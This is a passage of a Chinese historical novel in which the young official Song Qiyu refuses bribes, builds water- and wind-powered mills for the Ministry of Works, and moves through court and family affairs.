韩德明引导着宋启愚一行继续往代州来。眼看到十里亭了,突然,从官道一侧冲出两骑,挡住了众人去路。一个壮硕的红衣女子提马向前,高喊着:“宋启愚公子何在?宋启愚公子请上前来。我家小姐想见识见识阁下的能耐。”韩德明定睛一瞧,认出来人是妹妹韩丽华的贴身丫鬟春姑,顿时大怒。他吼道:“春姑,都告诉你们别胡闹了,怎么还来。”只听远处传来银铃般的声音:“四哥不必动怒,妹妹只想见见宋公子,并无难为他的意思。”众人寻声望去,但见有个姑娘骑着白马立于艳阳下。那姑娘面似桃花,五官俏丽,明眸皓齿,顾盼生辉,头扎鹅黄丝带,身穿鹅黄衫裙,微风吹过,几缕发丝轻拂粉面,衣上璎珞和裙边飘带也随风卷动,若说是人间尤物尚显轻慢,被誉为仙子下凡倒更洒脱。宋启愚呆望半晌,心脏扑通乱跳。他不由得催马向前,拱手说道:“我就是宋启愚。请问姑娘有何见教?”韩丽华微微一笑说:“常听家父说公子有百步穿杨的本事。而小女子自幼也习得一手好弹弓,今日想跟公子比试比试,不知公子是否赏脸?”宋启愚轻笑一声,说道:“本是雕虫小技,不值一提,既然姑娘有此爱好,某愿奉陪。但不知怎样比法?”韩丽华向路旁的大槐树一指,说:“公子请看。在槐树枝干两侧各吊有一面拳头大小的铜牌,你我从百步以外各发三弹,命中多者为胜。”宋启愚转脸望去,判断了一下目标的大小和距离,自信地说:“既如此,姑娘先请,宋某候教了。”韩丽华向前又走了几步,勒住坐骑,不慌不忙地从马颈的兜囊中掏出铁质弹弓和一粒铅丸,然后左手执弓,右手扣上铅丸,轻舒臂膀,两手同时上抬,在瞄准目标的一刹那完成了击发。就听“嘡啷”一声响,左边的小铜牌被弹丸击飞,在挂绳的牵引下不停地晃动。“好手段!”宋启愚高声叫道。人们也都鼓掌喝彩,表示钦佩。韩丽华露出骄傲的神情,侧脸看着宋启愚说:“宋公子,该你了。”宋启愚并不搭话,也没有向前提马,而是在原地弯弓搭箭,瞄准一击。右边的小铜牌立时被箭头射穿,发出闷声碎响。人群中又爆发出一阵喝彩声。接着,韩、宋二人完成了第二番较量,又是双双命中。韩丽华转脸说:“宋公子,第三发你先来。”宋启愚一笑说:“好,请小姐指教。”随即,他弯弓搭箭准备击发。忽然,身后传来一女子的声音“哎呀”。宋启愚被吓了一跳,赶忙收住弓箭,回头观瞧。原来是丫鬟春姑害怕小姐输掉比赛,故意发声干扰宋启愚。宋启愚心中好笑,但并没有责怪,只是稍稍平和了一下心态,又一次拉开了弓弦。谁想那春姑故技重施,有意接连打起了喷嚏。宋启愚赶紧又收住了弓箭,笑着摇了摇头。韩丽华见状,拨马回转对丫鬟说:“春姑不必如此,我与宋公子是公平竞赛,切磋技艺……”可就在这时,那春姑也许是真的受了风,竟狠命地打了几个大喷嚏。韩丽华的坐骑受此惊吓,原地跳了起来,随即撂起了蹶子。宋启愚眼见不好,张手扔下弓箭,催马上前,瞅准时机一把抓住了惊马的缰绳。宋启愚嘴里发着“嗜嗜、咯咯”的声音,眼睛紧盯着惊马的眼睛,费了好大功夫,才把惊马稳住。在此过程中,趴伏在马背上的韩丽华直吓得花容失色,真魂出窍。当她看清楚是宋启愚救了自己,尤其是注视到宋启愚真诚的眼神时,她的心被融化了。宋启愚跳下坐骑,拉着丽华小姐的马,轻轻呼唤道:“韩小姐,韩小姐,没事了,别怕……”韩德明和春姑等人这时也冲了上来。韩丽华坐起身子,满面通红。她向宋启愚比了个万福说:“多谢公子搭救。公子的本领远在小女子之上。”宋启愚又笑笑说:“韩姑娘没有受伤就好。小小游戏,不足称道。”韩德明指着春姑骂道:“你这蠢东西,差点害了小姐,看我回去不扒了你的皮!还不赶快带小姐回去,净在这儿丢人现眼。”那春姑哭着跪下向小姐请了罪,又向宋启愚道了谢,骑上红马,陪着小姐快速往代州奔去。临走前,韩丽华回眸望向宋启愚,正巧宋启愚也在看她。韩丽华羞怯地一笑,真是百媚千娇。 到达五里堡时,有人前来禀报,说代州知州陈昱前来迎接。宋启愚不解地问:“按照朝廷官秩,正五品的知州怎么会出迎我一个六品员外郎呢?他与韩家交厚不成?”韩德明摇头说:“算不上有交情。且不说我爹比知州还差半级,这个陈昱的父亲是正二品的黄门侍郎陈标,他完全用不着讨好我们呀。”说到这,宋启愚似乎突然想起了什么,问道:“陈昱,是不是之前做过应县知县?”韩德明点头说:“就是他,前年因做张永德大帅的向导官立了功,被皇上晋升为知州了。”宋启愚急忙叫过众人,交代大家多作揖少说话,尽量不招惹这个陈昱。 宋启愚带着童道生、韩德明几人下马走到陈昱的官轿前,身施一躬说:“新任工部员外郎宋启愚拜见陈大人。”陈昱一猫身钻出了轿子,笑呵呵地拱手说:“哎呀呀,皇上钦点的探花郎来到我代州,真是地方文坛的幸事呀!韩镇守使择得佳婿,门楣光耀,可喜可贺。本官听说此事,高兴得数夜未眠,今日特备了薄礼为宋大人添彩。”说着,他一挥手。八名下人抬着四个红木箱子就送了过来。宋启愚赶忙制止说:“陈大人,使不得。一则朝廷法度不允许,二则下官出京之时,掌院学士一再叮嘱我们,不可受人财物,下官不敢忘怀。”陈昱仍然笑着说:“宋大人的人品果然不俗。黄大人与家父也算多年的同僚,他的嘱托也确该遵从。这样吧,头两箱金珠宝贝本官收回,剩下两箱俱是些古玩字画、把玩物品,不值什么钱,宋大人就不必推辞了。”后面站立的童道生灵机一动,开口说:“陈大人,下官与宣道兄出京时还去拜会过赵相和冯相,二位相国也再三告诫我等,不可收人财物,还请陈大人体谅。”陈昱吃惊地看着童道生,张口问道:“宋大人,这位仁兄是?”宋启愚侧身让出童道生,介绍说:“这位是圣上钦点的三甲第一名,现任翰林院编修童道生大人。”陈昱故作惊喜状,说道:“原来是我朝的魁星,失敬,失敬。既然两位相国有命,下官自当遵从。二位大人高风亮节,本官钦佩之至。待到治所,本官自会设宴为二位大人接风,万望二位大人不要推辞。”宋启愚又一拱手说:“多谢陈大人抬爱。再过几日,是下官聘娶之礼,若陈大人有暇,还请大人光临鄙府,喝杯水酒。”陈昱哈哈大笑着说:“对对对,本官先给宋大人道喜。待明日,本官还要去韩大人府上,向镇守使道贺呢。”陈昱回身招呼手下说:“把官道让出来,请宋大人、童大人的队伍先过。二位大人是我代州的贵客,尔等不可简慢。”而后,陈昱又向宋启愚几人客气地一揖说:“二位大人和韩公子请先行入城,莫让镇守使等急了。”宋启愚等人也一揖到地。宋启愚说:“多谢大人相让,容日后见面再叙。” 待宋启愚一行走远,陈昱叫过一名心腹吩咐道:“我要立即修书一封,命你进京去见家父。让老太爷详查这个宋启愚和童道生的底细。” 第十一回1 天工开物 宋启愚和童道生回到汴梁城已是六月中旬的事了。朝里的局势在这三个月里发生了很大的变化。先是张文辉辞去了各项职务,回乡养老;又有赵松寿外放,出任岭南宣慰使;张永德出任西北宣慰使;陈标出任广西巡抚;接着,冯体仁被提升为副宰相;还有雷思平和温国刚当了执政,入政事堂行走。至此,朝廷里的重要部门基本上被同泰帝掌控。 由于跟随宋启愚进京的还有余允文和吴襄两家,原先的小院已经安排不下了,于是,宋启愚就在延庆街租下了一处更大的院落,安顿了几家人。二夫人韩丽华虽然年轻,但心思细密,为人豁达,跟大家关系融洽,阖府人等生活安逸,快乐满足。特别是童道生,本就对翰林院十分熟悉,加之离住所只有几步距离,每日除了校对修订经史文章外,闷了可以找同年或余允文聊聊天,再不然还能跟着吴襄练练拳,过得很是惬意。反倒是宋启愚政务缠身,终日忙碌。 在工部,宋启愚分管的工作主要是核对瓷器库和文房用品库。他勤奋好学又严谨细致,检查核对亲力亲为,手下的主事和通事等人也积极协助,不到半个月便把主管事务料理得井井有条,部里的人员也认识了个七七八八。 这一日,工部尚书邱养德命人把宋启愚叫到部堂办公处。寒暄落座后,邱尚书笑着对宋启愚说:“宋大人,这段时间在我工部干得还舒心吗?”宋启愚欠身拱手说:“多谢尚书大人垂询。下官在部里学到了很多东西,也得到了不少前辈的热心指点。这些日子,下官虽然身体劳累,但心情大好,劲头也很足。”邱尚书点头说:“本部堂也听说宋大人的工作很有成效,青年才俊,前途无量啊!不过吗,有人传言你似乎对部里的福利不太满意。若宋大人有什么要求,尽管提出,本部堂对下属还是很宽厚的。”宋启愚一愣,拱手说:“尚书大人说笑了,部里的福利丰厚至极,下官没有更多奢望。”邱尚书仰靠在椅子上说:“前几日,部里为员外郎以上官员配发的玛瑙杯,宋大人似乎没有用过,不知为何?”宋启愚笑笑说:“回禀大人,对尚书的赐予下官是领情的。下官并非不爱玛瑙杯,但我若使惯了这等贵重之物,刻意去追逐奢侈的生活,便失了本心。故而,下官才将宝物封存,仍用原来的杯子。下官也知道每位同僚家境有别,不会因某官使用此物而另眼相看,也不会以不用此物而清廉自诩。还望大人对属下的行为不要介怀。”邱尚书呵呵一笑说:“诸葛武侯在《诫子书》上说‘静以修身,俭以养德’,看来宋大人的书还是比别人读得好呀。”宋启愚恭恭敬敬地又一拱手说:“尚书大人折煞属下了。您能体恤下属,亲自问询,才是难得。”邱尚书稍稍坐起说:“年轻人有节俭之心还是好的。希望你以后好好工作,为皇上为朝廷多做些事情,不要辜负了部里对你的栽培。”宋启愚一笑说:“邱大人真是顾念下属的好上官。下官定然牢记大人教诲,谨慎行事,认真办差。”邱养德坐直了身子说:“既然如此,咱们今天就到这儿。宋大人请自便。”随后,邱尚书便端起了茶碗。宋启愚很识趣地起身,告辞退了出来。此后,工部每发物品,宋启愚便将其中价值贵重者封存,只留几件日常用品自己使用。 自去年科甲落榜后,年已不惑的余允文便心灰意冷,沉沦了很长时间。他每日以读闲书和驯养信鸽为乐,甚至还收了几个小徒弟,传授他们养殖驯化的本领。直到宋启愚回乡邀请他出山,余允文才重新振作起来,并带着妻儿一块来到京城。宋启愚知道余先生舍不得他那些宝贝,特意给他套了三辆大车拉行李和鸽子。也正是凭借余先生这种特殊的爱好,宋启愚每到一地都能快速地与家里取得联系。待宋启愚在京城站稳了脚跟;三老爷宋祥义在晋阳盘好了铺面;大少爷宋启元将生意做到了大同边境一带,宋家便可以在汴梁、晋阳、代州、光裕、大同等地之间实现信息的当天互通。其后,宋祥义跟曹可用还数次来到开封城,正式与东海一库合作,经营起盐业生意来。 九月的一天,邱尚书又把宋启愚叫到办公处。待宋启愚施礼后,邱大人放下手中文本,和蔼地说:“前些时,鄱阳知府魏柄忠向今上建言,希望朝廷重视新技术和新工艺的应用。现在,圣上已将此事交给了工部。本部堂再三思量,觉得还是由虞衡司负责此事最为妥帖。而你们郎中魏大人在本堂面前也一再夸赞宋大人能力超群。因此,本部堂想将这一工作交给你。不知宋大人可愿意否?”宋启愚拱手说:“下官既为属员,自当遵从调配。”邱尚书捻着胡须,呵呵笑着说:“宋大人,这可是项辛苦差事,外出探看、风餐露宿是避免不了的,工部的拨款也很有限,你要想好哟!”宋启愚又一拱手,回道:“邱大人好意,下官明白。下官确实愿意接管该项工作。”邱养德点头说:“既然如此,你就把手头的杂事儿跟你们魏大人交接一下,专司新奇事务。” 宋启愚接手新奇事务后,遇到的最大问题是各地报上来的新技术和新工艺数量太少。宋启愚心里着急,便找来手下的主事和通事商量对策。宋启愚说:“我中华自三皇五帝开始,就重农抑商,这固然恩养了世世代代的君臣百姓,但却压抑了人们的开拓精神,而这种情况在短期之内难以改变。现在,圣上命工部推行新技术,咱们几个又具体负责此事,可半个月来,毫无进展。李主事和黄通事可有良谋教我?”黄通事拱手说:“宋大人,我们俩跟着您也有几个月了,知道您是做实事的人。但下官有几句肺腑之言,不知道您愿不愿意听。”宋启愚笑了笑说:“黄大人请直言。”黄通事说道:“宋大人,其实,部里有些人根本不想让咱们干出什么名堂。您也许不知道,我是国子监出身,同窗好友很多人都混到了六品职衔,我因喜欢给上官建言,受到排挤,到现在还只是个小小的从七品通事。李向波主事就更亏啦!他因脾气孤傲得罪了上官,在工部七年,仅晋升了两级。凡做官的人到了部属衙门,讲究的就是多磕头、少做事、不出众。可宋大人却办事踏实、讲成效,这让有些人觉得颇受威胁。您又拒用贵重物品,在人品上压了某些人一头。您想他们会真心支持您吗?”宋启愚点点头说:“黄大人能坦诚相待,宋某很是感激。我入仕只为报效国家,不为逢迎他人。二位大人请不要顾虑。”一旁的李主事向宋启愚拱手说:“宋大人,下官这里倒有个合适的人,不知大人是否敢用?”宋启愚一笑说:“只要他有创新的本事,宋某就敢用。”李主事又一拱手说:“大人,属下有个同乡名叫邝玄,幼时就对机器、测算感兴趣,家里人拗他不过便由着他折腾。二十多年来,他还真搞出了不少稀奇古怪的东西。我当官后,把他推荐给了钦天监的葛奇。邝玄为了能在汴梁安心工作,就变卖家产,搬到了京郊。可谁成想那葛奇竟然嫉妒邝玄的才华,不但窃取了他的成果,还陷害他入狱。后来,经过下官多方打点,才救他出来。”宋启愚一皱眉,说道:“想不到,一个小小的五品副监竟有这么大的能量。”黄通事笑笑说:“大人不知道,那葛奇与刑部、吏部多位大人有私交。您若不想生事,不招惹他便是。”宋启愚笑着走下来,对黄通事说:“黄大人不必用激将法。宋某不是怕事之人。二位大人也不要沮丧,等新奇事务办出了成效,本官定会向朝廷保举二位,加官进爵指日可待。”然后,宋启愚对李主事说:“邝玄的心境,我能体会。他只要能为新奇事务立下大功,我一定会上书朝廷,还他公道。”李向波大为高兴,甚至有些激动地说:“大人敢为我们出头,我与邝玄求之不得。”宋启愚又问:“邝玄现在何处?李大人可否带我去,请他出山?”李向波向宋启愚身施一躬说:“此人闲居杏花营。属下随时可带大人前去。”宋启愚想了想,又说:“这样,明日,我备下礼品、套好车辆和李向波大人去请邝玄,黄秩五大人留在部里处理日常事务。” 第二天一早,宋启愚换好便装,让吴襄驾着马车,先到城南接上李向波,然后出城向西去请邝玄。深秋时节,天气转凉,宋、李二人坐在车中,望着窗外万木凋零,金风萧瑟的景象,各自心中都很惆怅。为了缓解尴尬的气氛,宋启愚对吴襄说:“长白,哼个家乡小调,让李主事听听。”吴襄爽快地答应一声,高声唱到:“士为将军何可羞!六月重茵披豹裘,不识寒暑断人头。雄儿兰田为报仇,中夜斩首谢并州。”唱罢,吴襄侧过脸笑问李向波:“李大人知道这首《并州歌》吗?”李向波脸一红,正要承认自己才疏学浅。宋启愚抢先说道:“李主事是山东人,继承孔孟衣钵,但未必熟悉《乐府》。这歌里讲的是西晋有个叫汲桑的军阀对下属和百姓残忍少恩。在六月盛夏,让人披着裘皮为他遮挡阳光,又让十余人打扇。他仍觉得不凉快,还斩了这些人。后来,汲桑被并州人兰田所杀。人们欢呼庆贺,奔走而歌的故事。”李向波一拱手说:“宋大人学养深厚,李某不及。”宋启愚轻轻一笑说:“向波兄过誉,在山西,这首歌人人会唱,宋某自然也常听闻。今后,在衙门外面,向波兄称我为宣道即可,不必以大人相称。”三人有说有笑地继续前行。其间,宋启愚还哼唱了一小段《鸿雁捎书》以为娱乐。 第十一回2 天工开物 出了汴梁城二十里,道路变得泥泞坑洼、颠簸难行。宋启愚待在车里实在难受,就跟李向波说:“向波兄,这段道路太差劲了,咱们走走如何?”李向波笑笑说:“李某也有此意。此处离杏花营已经不远。我们就走过去吧。”于是,两人便下车步行。看着马车在前面一颠一跳的样子,宋启愚略有所思地说:“向波兄,你我刚出京城,道路的状况就如此不堪,可以想见其它地方的官道也是标准不一、崎岖不平,我们应该上书朝廷统一尺寸,修缮道路,既方便官民通行,又利于财货流动。”李向波指着远处的另一辆骡车说:“宣道所言不错。车辆的配置也要有个标准。前次我来邝玄家,车轮坏在了半路,附近的木作竟然找不到可供代换的部件。我只得多走了个把时辰才到达杏花营。” 二人说笑着来到了马家河边。但见远处立着一架巨大的水车,水斗带动着辐条正在缓缓转动。水车旁边建有五座砖房,其中一座的烟囱里还冒着袅袅白烟,又有水雾从房子后面升腾起来,显得颇为神秘。宋启愚大为惊异,说道:“我们山西也有小水车,但都是灌溉用,从没见过这种样子的。向波兄,那几座房子是干什么用的?”李向波笑眯眯地说:“邝玄就在此处。大人进去,一看便知。”宋启愚听后提袍疾走,又飞身跳上了小桥,三步两步到了河对岸。他这才想起身后的李向波,不由自释地一笑,回身说:“向波兄快来。我真想早些见到这个奇人呀!” 等离近了,宋启愚再仔细观瞧,就见水车砖房旁边有一片空场,三四个男女正忙碌地往场上晾晒着一挂一挂晶莹剔透的粉条。宋启愚恍然大悟,笑道:“向波兄,收秋后,将红薯加工成粉条,价值暴涨数倍,且易于储藏,这不正是我们需要的技术吗!”李向波气喘吁吁地跟上来说:“宋大人,稍等等。我这就叫邝玄出来拜见您。”宋启愚整了整衣冠说:“向波兄,我们是来请人的,应恭敬些,还是我们进去见邝玄吧。”说完,宋启愚大步向前来到了晾晒场上。他对着一位刚刚晾完粉条的妇人点头抱拳说:“大嫂,请问邝玄先生现在何处?”那妇人憨厚地笑笑,指着前面的房子说:“喏,我兄弟就在磨房里呢。”宋启愚道谢后,带着李向波就进了磨房,巨大的‘吱呀’声一下子就吞噬了二人。在适应了昏暗的光线后,宋启愚渐渐看清了,磨房的一面墙上开了一个大圆洞,从外面的水车方向伸进来一根粗大的转轴,转轴这端连接着多个齿轮和齿条,最终将转动力加在了两副石头磨盘上。一位穿青布长衫的清瘦男子正指挥着三个汉子将一筐一筐洗净切块的红薯倒进料斗里。李向波上前几步,大声喊道:“邝玄,宋大人来了。”可长衫男子只是身子一震,似乎没有听到。李向波又向前一步,喊着说:“邝玄,我昨天差家人给你带的书信,你看了吧。宋大人愿意为你伸冤。”那邝玄低下了头,可仍然没有回身。宋启愚向前走了两步,一躬到地,说道:“邝先生,你身怀奇技,应报效国家,宋某是来请你出山的。”邝玄颤抖着肩膀转过身来。借着微弱的光线,宋启愚发现他已是满脸泪痕。 邝玄出任虞衡司匠头后,又向宋启愚推荐了王庶和方庆钟二人。宋启愚也一一登门造访,延请他们到工部任职。很快,邝、王、方三人便根据宋启愚的要求,设计出了几种新式水车和风车。其后,宋启愚又带着一众人等经过实地勘探,校订方案,最终决定在开封城外建造两处十二座大型磨坊。这些磨坊可以根据季节变化,完成磨面、榨油、灌溉、脱粒、制粉条、磨豆腐等等农事活动,且速度快、效率高、成本低。为了能让新技术早日创造价值,宋启愚一面向上写奏折,等候朝廷的批复和拨款;另一面,他先行垫资三千两白银,命吴襄和余允文会同邝玄等人,立即开始磨坊设备的打造和基础设施的建造。他希望能赶在今年下雪前,先建成两座磨坊,投入试运行,待来年开春,再把全部工程建设完成。 在这段时间里,宋启愚更加忙碌了。每天,他要先到工部处理一下日常事务,然后飞马到城南柳林村探看磨坊的建造情况,人手不够时,他还会脱掉官服亲自搬砖扛木;接着,他要再绕到城西杏花营检查设备的打造状况,询问邝玄等人有什么困难和需要;最后,他还要在城门关闭前赶回府中。对于丈夫的劳累,二夫人韩丽华看在眼里疼在心中,她知道自己帮不上什么大忙,就默默地承担了全部家务。每日晌午,她都会带着丫鬟坐着车,将准备好的酒饭送到工部衙门外。她还总是在怀里捂上一碗热饭,待丈夫出来时,立即端给他食用。宋启愚每每也不多言,只是笑着把一碗饭吃完,再喝上两口酒,便提上食盒,带着随从纵马向南奔去。 到了十一月中旬,朝廷的批复终于下来了。当天下午,宋启愚一反常态,早早回了家。他兴奋地走过前院。看见余允文的小儿子和吴襄的一对儿女在院子里面玩,宋启愚童心复萌,上前搂着三个孩子,说:“天乐、双贵、双兰,你们玩什么呢?咱们一起玩好不好?”几个孩子见有大人加入,十分开心。余天乐笑嘻嘻地说:“宣道大,我们在玩捉迷藏,不能出这三个院子。这回该你捉。你到屏风那里闭上眼睛数二十下,再来找我们啊。”三个孩子也不等宋启愚答话,各自跑开找藏身的地方去了。宋启愚走到屏风处,大声地数起数来,数完便装模作样地开始找人。他还故意找不到,一会儿说:“双贵真狡猾,躲到哪去了!”一会儿又大叫:“天乐,看见你了。咦,怎么不是。”到了后来,吴双兰咯咯笑着躲到了宋启愚身后。没想到,宋启愚连这么大的动静都没有察觉。孩子们的欢笑声和宋启愚的叫喊声引出了韩丽华和各房人等前来观瞧。宋启愚突然一转身,把小双兰抱起来举到空中,笑着说:“可让我逮到了,跑不了啦!”另两个孩子高兴地跑过来,拽着宋启愚说:“宣道大,我就藏在那儿,你再往前走一步就看见我了。宣道大,我从你身后跑到那个门,你都不知道。”吴襄的妻子笑眯眯地走过来,边接过双兰边说:“你们哪里瞒得了宣道大呀,大让着你们呢!”宋启愚哈哈大笑后,给吴襄的妻子和余允文的妻子各作了一个揖,说道:“宋宣道多谢嫂子了。余先生常驻杏花营、长白兄常驻柳林村都十分辛苦。今天,他们监管的风车磨坊已基本建成,再过几天便可投入使用,他们也能回家了。”两个女人哪里受过这样的礼遇,都不知所措地一再逊谢。宋启愚又走到韩丽华面前,作了个揖说:“夫人的暖饭之恩,我心里明白。”韩丽华望着满脸赤诚的丈夫,两行热泪夺眶而出。一直站在门边的童道生这时开口道:“宣道兄长接下来是不是要感谢我呀。我还帮你找了不少典籍着作呢,象《九章算术》呀,《齐民要术》等。”宋启愚走上前,正欲向童道生称谢。童道生赶忙制止说:“别、别、别,宣道兄长施礼我可受不起。兄长什么时候带我去你的磨坊看看稀罕,我就知足了。天天钻在故纸堆里,我都快发霉了。”宋启愚笑着说:“好。三天后就带你去。到时候套上几辆车,丽华和嫂子们还有天乐、双兰都去,那风车的悬臂有四丈多长,转动起来很有气势,保证让你们开眼。”几个孩子和后面的几个小丫鬟听后,兴奋得直拍手。 童道生把宋启愚拉到一边,从衣袖里抽出两份请柬说:“兄长,今天吏部主事付云瑞亲自给咱们送来了请帖,言说他将在下个月初六与孔家小姐完婚,邀请我们出席婚宴。”宋启愚接过请柬,展开看了一遍,笑嘻嘻地说:“云瑞娶妻,当然要去。咱们还得备下厚礼,给他闹洞房去呢!正好,借这个机会,我们这些在京的同年也可以聚一聚。陆祥楠、朱昌海、金杰这几个仁兄,我还真有些想念他们呢。” 刑部孔郎中为女儿和女婿的婚礼狠下了些功夫,不仅把府邸收拾得喜气洋洋,还邀请了自己在京相识的所有同僚,其中不乏政事堂执政、刑部尚书、户部尚书、吏部侍郎、工部侍郎等高官。做为付云瑞的同科,又是殿试三甲的宋启愚和陆祥楠、文泰也被安排在席面的前排入座。热闹几番、推杯换盏之后,宋启愚拉着陆祥楠和文泰来到同年们的桌前开始挨桌敬酒。大家聊起当初科考的趣事、在翰林院的经历以及目前各自衙门里的怪谈,笑声不断,甚是欢愉。过了一会儿,礼部主事谭琴端着酒杯来到宋启愚面前,略带醉意地说:“宣道兄,上次都怪小弟唐突,惹得你跟再造老弟不高兴。来,我先自罚一杯,算是给宣道兄赔罪了。”宋启愚笑笑说:“谭主事,你我同年有个磕磕碰碰在所难免,再造早已释怀。咱们碰一杯尽释前嫌如何?”这时,童道生也凑过来,拍了拍谭琴说:“谭兄,还记恨我呢。小弟跟你喝一个,算是赔礼了。”谭琴将杯中酒一饮而尽,笑着说:“痛快,二位同年果然是大丈夫,谭某领教了。”待谭琴走后,宋启愚抚着童道生的背,小声说:“再造今天表现的不错,对待这种小人,我们虚与委蛇即可。”正说话间,新郎付云瑞在其岳丈孔大人的陪同下,前来敬酒,大伙又是寒暄打趣、觥筹交错了一通。接着,宋启愚坐到户部员外郎文泰身边,亲近地说:“文兄的学问人品,小弟一向极为佩服,咱俩走一个。”文泰笑着说:“宣道老弟取笑愚兄了,来,干一杯。”待喝完杯中酒,宋启愚凑近文泰说:“若什么时候宋某有了难处,不知文兄是否会帮衬小弟?”文泰正喝得高兴,脱口而出:“宣道说的什么话,老弟的事就是我的事。再说,你当我不知道,你的背景远在我之上,有什么事情你摆不平呢!”宋启愚又和文泰碰了一杯酒,笑嘻嘻地说:“文大人,我听说户部有一万担麦子急需磨成白面,此项事务可曾安排妥帖?”文泰夹了个丸子吃下后,说道:“你的消息还挺灵通。年终,朝廷要给在京的官吏发银钱禄米,的确有一万担麦子需要磨,虽已找了几家磨坊,但仍有三千担无法及时处理,我正为此发愁呢。”宋启愚大喜,说道:“这一项不如交给我们工部,小弟帮你处理。”文泰吃惊地看着宋启愚说:“这可不是个小事,因为赶得急,户部在每担麦子上加了一两银子的费用,你真的能拿下?”宋启愚认真地说:“文兄什么时候听小弟说过空话,交给工部你就放心好了。”文泰略加思索,说道:“整体上,我觉得没什么问题,但宋大人还得容我先跟司马尚书通报一声,再做定夺。”宋启愚心知对方是在留余地,便接着说:“文兄不爽快,莫非不把我当同年了?这点小事,你就能做主。我明天就命手下去找你谈。这杯酒我先干为敬。咱们就这么定了。” 伴着一场瑞雪,新年的脚步渐渐近了。到了腊月二十三小年这天,宋启愚所掌管的新奇事务部门已经积累了近四千两银子的盈余。宋启愚一面重赏了李向波、黄秩五、邝玄、王庶和方庆钟等有功僚属;一面命手下将剩余的利润和磨坊新出的千余斤粉条分发给工部所属的大小官吏。一时间,工部众官上至尚书邱养德下至普通皂吏无不对这位年轻的员外郎另眼相看、交口称赞。 第十二回1 三王成年 “田家少闲月,五月人倍忙。夜来南风起,小麦覆陇黄。妇姑荷箪食,童稚携壶浆。相随饷田去,丁壮在南冈。”同泰四年春夏之交,风调雨顺,边事安宁,先有中原的麦子获得了高产,又有南方的油菜取得了丰收,再加上北方的谷稷长势喜人、丰产在望,大周百姓迎来了一个难得的好年景。 这一天,太监白显到静福公主府传驸马秦国勋觐见。待宣完皇帝口谕,白显趋步来到静福公主面前,纳头便拜,口称:“奴才给公主请安。”公主浅笑着说:“原来是你这猴崽子。起来吧。你现在升任了永春房总管,可不是我的奴才了。喏,这个赏你了。”说着,公主就让下人送过去一个精致的小盒。白显接过盒子,又磕了个头,说:“奴才谢公主和驸马爷的赏。当年要不是公主恩典,奴才怎么会有今天呢!”静福公主又说:“好了,算你有良心。我那皇兄找驸马有什么事?”白显笑嘻嘻地起身说:“驸马爷差事办得好。皇上很满意,大概是想让驸马出京采办秀女吧。”静福公主白了秦国勋一眼,随即忍不住笑道:“都是你干的好事。从梦柔和金平儿算起,我们送入永春房的佳丽也有近百人了吧?”白显嬉皮笑脸地说:“整整九十九位娘娘。皇上还时常夸奖公主,说就您最疼他这个皇兄!”秦国勋在一旁迎合着说:“精选侍女充实宫掖,为皇家延续血脉,不但是正当的事,而且是国家的头等大事。作为圣上至亲,我与公主理应多操心才是。”静福公主又白了秦国勋一眼,说道:“就你会说话。我听说永春房里花样繁多,我那皇兄也得注意身体才是。”白显双眼放光说:“公主不知,近日从蓬莱仙山来了两位道士。他们制的丹药可厉害了。他们还让皇上采阴补阳,说能延年益寿。前日皇上夜战十女,精神健旺。那场面,啧,啧,啧。”静福公主听得脸热心跳。秦国勋则歪着头说:“这种事儿你一个太监兴奋什么啊?当心我告诉皇上,打你的板子。”白显急忙躬身,用手轻拍着自己的嘴,嬉笑着说:“奴才这不是替主子欢喜吗。奴才还得恭喜驸马爷呢。看皇上的意思是要派您到江南去,那可是肥得流油的差事呀!”静福公主转脸对驸马说:“那你还不快随白公公进宫去。只是有一点,替皇上选美女没问题,你要敢假公济私,自己享用,可仔细你的皮。” 当天晚些时候,余允文拿着几份飞鸽传书来找宋启愚。宋启愚刚看了第一份就高兴地喊道:“太好了,曹可用找到他了。”余允文好奇地问:“宣道,这个丁训是什么人呀?”宋启愚就将两年前自己偶遇丁训的事讲述了一遍,并说:“当初救他时,我也没有想到他会真的做到。可就是这个丁训,用了十几年时间,靠扛活、卖艺、行乞、跪拜,不置产,不娶妻,吃猪狗食,睡破草屋,竟攒下了一千多两银子,置下了二十多亩学田。今年,他终于在晋祠边的天龙山下建起了一座天龙义学。为了延请名师,他到处访求秀才举人,给人家磕头作揖。这样的好人我一定要帮。”宋启愚又想了想说:“我今天就写信给启诚和曹可用,让他们资助丁训办学。另外,我主张义学应以教授实用课程为主,不能只盯着科举一条路。穷人家的孩子该先立身再立心,否则,生存都困难,又怎么为国出力呢!” 展开第二份文卷,仔细阅读后,宋启愚眉头一挑说:“这也是个好消息。今春席军民中了武举,前几日奉调前往武州任职了。”余允文却说:“我虽为国栋感到高兴,但光裕寨却少了一员干将呀。”宋启愚说:“国栋遇事沉稳,定能为国家做出贡献。再说,边塞稳定了,光裕寨自然平安。先生不必为家里担心。过些日子,等国栋到了武州,我得亲自写信勉励他好好练兵,保境安民。” 接着,余允文又递上来一份文卷说:“监军白晋在山西闹腾得厉害。他以替皇家采办物品为名,到处搜刮奇珍异宝,凡是被他看上的东西,便命手下贴上封条,然后再带着仪仗将物品搬走。”宋启愚长叹一声,说道:“这些人做事从来不管老百姓死活。他们抢夺的若只是小件文玩也就罢了,但如果被看上的是家里的奇花异石、大件古董,这些人便会砸墙拆屋,破门出入,这会造成多少人流离失所,甚至家破人亡呀。可惜咱们现在力量不够,只能多收集证据,以期在合适的时候出手扳倒这个阉宦。” 这时,童道生和吴襄走进了书房。宋启愚先示意他们坐下,给他们传看了几份文卷,又命丫鬟上了茶,然后笑着说:“这几个月我负责的新奇事务给部里挣了不少银子,我提出的要在洛阳再建一所大型磨坊和修缮道路、统一车马标准的提议也顺利报上去了。当然,也有人嫉妒我的运气,眼红新奇事务里的油水。也许再过一年半载,就会有人想办法把我排挤走,所以,我得抓紧时间多做些实事。现在,我这里人手不足,想急调天锡、宋承康和王虎进京。我已将书信写好。”宋启愚转脸把信卷交给余允文说:“余先生,你今日便将这份信卷发出。等天锡来了,我给他补一个工部司吏的职务。然后,我带着你、邝玄和天锡到洛阳再建一座新工坊。等工坊建成,就让天锡在那边负责。天锡也到了该成家的年纪,正好邝玄有个女儿,与天锡极为相配,我打算冒昧做个媒人,不知你意下如何?”余先生赶忙起身,一躬到地,满心欢喜地应承下来。吴襄哈哈笑着说:“余先生,这回你得请客啊。儿子当官、娶媳妇,双喜临门呀!”童道生也给余允文道了喜。众人又说笑热闹了一阵。童道生凑近宋启愚说:“宣道兄长,近日京城盛传,圣上下个月将册封三位成年皇子为王,您听说了吗。”宋启愚回道:“皇长子石均已经十八岁了,以前就以豫亲王的身份监国,这次是正式册封。